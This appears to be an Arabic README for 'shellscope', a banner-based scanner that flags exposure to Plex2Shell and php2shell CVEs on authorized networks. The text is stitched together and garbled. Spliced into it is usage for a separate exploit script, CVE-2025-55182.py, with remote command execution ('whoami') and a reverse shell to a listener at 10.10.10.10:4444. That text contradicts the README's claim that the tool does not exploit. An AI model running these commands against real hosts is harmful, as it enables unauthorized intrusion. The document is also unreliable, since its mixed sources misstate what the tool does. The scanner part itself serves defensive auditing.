
مدقق تعرّض دفاعي لـ Plex2Shell وphp2shell — اكتشف ثغراتك قبل أن يكتشفها غيرك.
____ _ _ _____ _ _ ____ ____ _____ ______
/ ___|| | | | ____| | | | / ___| / ___|| _ \| ____|
\___ \| |_| | _| | | | | \___ \| | | |_) | |__
___) | _ | |___| |___ | |___ ___) | |___ | _ <| __|
|____/|_| |_|_____|_____|_____||____/ \____||_| \_\_____|
مدقق تعرّض 2shell — اكتشف ثغراتك قبل أن يكتشفها غيرك.
يتحقق shellscope من شبكة مُصرَّح بها بحثًا عن مجموعتين من ثغرات CVE لعام 2026:
session.upload_progress)يقرأ لافتات الإصدارات وترويسات HTTP. وهو لا يستغل الثغرات، ولا يصادق، ولا يرفع ملفات، ولا يفعّل خلل الذاكرة.
pipx install shellscope
# or
python -m pip install shellscope
الاستخدام
python3 CVE-2025-55182.py -u http://target.com
الخيارات:
-u, --url: عنوان URL الهدف (مطلوب)--cmd: الأمر المراد تنفيذه (افتراضي: id)--lhost: عنوان IP للمستمع (وضع الاتصال العكسي)--lport: منفذ المستمع (وضع الاتصال العكسي)--revshell: تفعيل وضع الاتصال العكسي--proxy: بروكسي (مثال: http://127.0.0.1:8080)--no-color: تعطيل الإخراج الملوّنأمثلة
# تنفيذ أمر
python3 CVE-2025-55182.py -u http://target.com --cmd "whoami"
# اتصال عكسي
python3 CVE-2025-55182.py -u http://target.com --revshell --lhost 10.10.10.10 --lport 4444
# عبر بروكسي
python3 CVE-2025-55182.py -u http://target.com --proxy http://127.0.0.1:8080
كيف يعمل
/ مع ترويسة Next-Action0uid= في الاستجابة (مؤشر على تنفيذ الأوامر)المتطلبات
requestspip install requests
إخلاء المسؤولية
هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق المصرّح به فقط. لا تستخدمها على أنظمة لا تملك إذنًا صريحًا باختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام أو أضرار.
المراجع
python -m pip install -e ".[dev]"
# prove the install works, no network traffic
shellscope --self-test
# see what would be scanned
shellscope --cidr 192.168.1.0/24 --dry-run
# audit your network
shellscope --cidr 10.0.0.0/24 --authorized
# inventory CSV: host,port,owner,environment
shellscope --inventory-csv assets.csv --authorized --html report.html
# CI gate
shellscope --inventory-csv assets.csv --authorized --fail-on high --quiet
--authorized مطلوب لإجراء فحص حقيقي. وهو تأكيدك بأنك تملك الشبكة أو لديك إذن كتابي لاختبارها.
| مجموعة CVE | الفحص | الحكم |
|---|---|---|
| Plex2Shell | GET /identity → version | < 1.43.3.10861 → CRITICAL |
| php2shell | GET / → Server، X-Powered-By، PHPSESSID | Apache + PHP أقل من الإصدار المُصلح → HIGH |
| php2shell | نفسه | nginx/LiteSpeed + أقل من الإصدار المُصلح → MEDIUM |
| php2shell | نفسه | Apache + إصدار مخفي → MEDIUM (تحقّق) |
| — | منفذ مفتوح، دون بصمة | INFO |
إصدارات PHP المُصلحة (مبنية على التسريب حتى الإشعار الرسمي): 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12.
تقسيم HIGH/MEDIUM مقصود: تُبلَّغ ثغرة php2shell المتبقية على أنها Apache prefork + mod_php فقط، وليست RCE عامة في PHP.
--out audit.csv — صف واحد لكل نتيجة (الافتراضي shellscope-results.csv)--json audit.json — البيانات الوصفية + النتائج--html audit.html — تقرير داكن ومكتفٍ ذاتيًا مع تصفية وفرز$ shellscope --cidr 127.0.0.1/32 --ports 32400,8888 --force-checks --authorized
[scope] 1 assets / 2 checks
CRITICAL 127.0.0.1:32400 Plex Media Server 1.43.2.10664 Vulnerable to Plex2Shell
HIGH 127.0.0.1:8888 PHP 8.2.34 PHP 8.2.34 < 8.2.35 on Apache
SUMMARY
CRITICAL 1 #
HIGH 1 #
TOTAL 2
--authorized إلزامي لإجراء فحص حقيقي.--allow-public.--max-hosts و--workers و--delay تحدّ من نطاق الفحص.استخدمه فقط على الشبكات التي تملكها أو لديك إذن كتابي باختبارها. نطاق برنامج مكافآت الثغرات (bug bounty) ليس ترخيصًا لفحص الإنترنت؛ بل يصرّح بالأصول المدرجة ضمن قواعد ذلك البرنامج.
Server خدمة Cloudflare وليس إصدار PHP.X-Powered-By معطّلًا. غياب الترويسة ليس دليلًا على وجود تصحيح.| الرمز | المعنى |
|---|---|
| 0 | اكتمل الفحص، دون نتائج عند --fail-on أو أعلى |
| 1 | نتائج عند --fail-on أو أعلى |
| 2 | خطأ في الاستخدام أو حارس التصريح |
python -m pip install -e ".[dev]"
python -m pytest
python -m ruff check src tests
python -m shellscope --self-test
MIT. للاستخدام المصرّح به فقط.